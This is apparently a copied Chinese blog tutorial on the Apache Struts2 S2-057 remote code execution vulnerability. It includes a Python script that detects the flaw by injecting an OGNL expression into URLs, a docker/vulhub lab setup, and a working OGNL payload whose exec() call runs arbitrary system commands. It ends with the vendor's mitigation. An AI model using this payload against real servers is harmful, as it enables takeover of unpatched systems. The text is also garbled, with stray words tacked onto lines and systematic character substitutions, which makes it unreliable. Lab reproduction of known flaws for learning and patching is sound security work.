Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于建立企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts 2。 Struts2是一个基于MVC设计模式的Web应用框架,它本质上至关于一个servlet,在MVC设计模式中,Struts2做为控制器(Controller)来创建模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。
java
定义XML配置时若是没有设置namespace的值,而且上层动做配置中并无设置或使用通配符namespace时,可能会致使远程代码执行漏洞的发生。一样也可能由于url标签没有设置value和action的值,而且上层动做并无设置或使用通配符namespace,从而致使远程代码执行漏洞的发生。linux
Struts 2.3 - Struts 2.3.34git
Struts 2.5 - Struts 2.5.16github
在线验证:http://0day.websaas.com.cn/web
本地验证:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057docker
附上一个大佬的pocapache
import sys import requests url = sys.argv[1] url_list = [i for i in url.split("/") if i != ''] payload = "${(65535+521)}" payload = "/" + payload + "/" num = 0 for str in url_list: num += 1 if num == 1: nurl = str continue elif num == 2: nurl = nurl + "//" + str continue elif num == len(url_list): nurl = nurl + payload + str continue else: nurl = nurl + "/" + str continue try: r = requests.head(nurl, stream=True).headers["Location"] except: print "不存在ST2-057漏洞!" exit() if r.find("66056") != -1: print "存在ST2-057漏洞!" else: print "不存在ST2-057漏洞!"
首先要安装docker部署vulhubbootstrap
我用的是kali2018的虚拟机安装的设计模式
更新数据bash
apt-get update
安装docker
apt-get install docker.io
查看版本
docker -v
尝试运行一下
docker images
出现镜像列表则说明成功安装,或者再进行验证
docker run hello-world
若是出现
不要慌,服务器正从Docker Hub获取到最新的Hello World镜像,下载到本地,所以只需等待便可。
出现了上图字样表示安装成功,若是没用再次输入docker run hello-world,回车就能验证了。
接下来就须要安装vulhub了,在这以前,须要先安装pip
wget https://bootstrap.pypa.io/get-pip.py
安装完成以后尝试输入pip,出现选项即说明安装成功,接下来就能够使用pip来安装docker-compose
pip install docker-compose
直接从github上将vulhub拿下来,因为某些缘由,直接下载vulhub会报错,因此建议直接从github上下载,固然也能够直接下载。
git clone https://github.com/vulhub/vulhub
不出意外的话,下载成功之后查看目录下会出现vulhub,这个时候就能够进去看看里面有些什么,固然里面所包含靶站的仍是比较多的,均可以复现一些比较经典的漏洞。
这里重点介绍下struts2-057漏洞吧,进入struts2目录下,找到struts2-057,进去。
直接使用docker-compose将镜像安装起来。
docker-compose up -d
报错了,看version都报错
说没用ssl_match模块,应该是没有下载完整,那么咱们直接在网上去下载最新版:https://github.com/docker/compose/releases/tag/1.14.0-rc2,拉到最下面,下载linux版本的。
而后将文件上传到 /usr/local/bin/ 文件夹下,而后将其重命名为docker-compose,增长可执行:chmod +x /usr/local/bin/docker-compose ,而后再运行查看版本
如今进入struts2-057目录而后执行 docker-compose up -d 命令,下载有点儿慢。
看下docker里面镜像库,若是出现struts2镜像则说明安装成功。
查看psid,复制id后直接启用环境。
docker exec -i -t <id> /bin/bash
环境就搭建起来了,访问一下ip:port/struts2-showcase/
将url换成ip:port/struts2-showcase/${(111+111)}/actionChain1.action
而后访问
最后能够看到已经变成了ip:port/struts2-showcase/222/register2.action
说明存在s2-057漏洞
中间的${(111+111)}是命令执行,获得执行结果返回在后面的url呈现的页面中
将${(111+111)} 替换用代码执行编写成命令执行的exp
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
拆分:
${ ( #_memberAccess["allowStaticMethodAccess"]=true, #a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(), #b=new java.io.InputStreamReader(#a), #c=new java.io.BufferedReader(#b), #d=new char[51020], #c.read(#d), #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(), #jas502n.println(#d), #jas502n.close()) }
中间的标红的一段代码中间的exec(‘’)函数里面可执行任意系统命令,这里是执行的calc调出计算器。
官方提供的临时解决方案:当上层动做配置中没有设置或使用通配符namespace时,验证全部XML配置中的namespace,同时在JSP中验证全部url标签的value和action。
建议升级版本。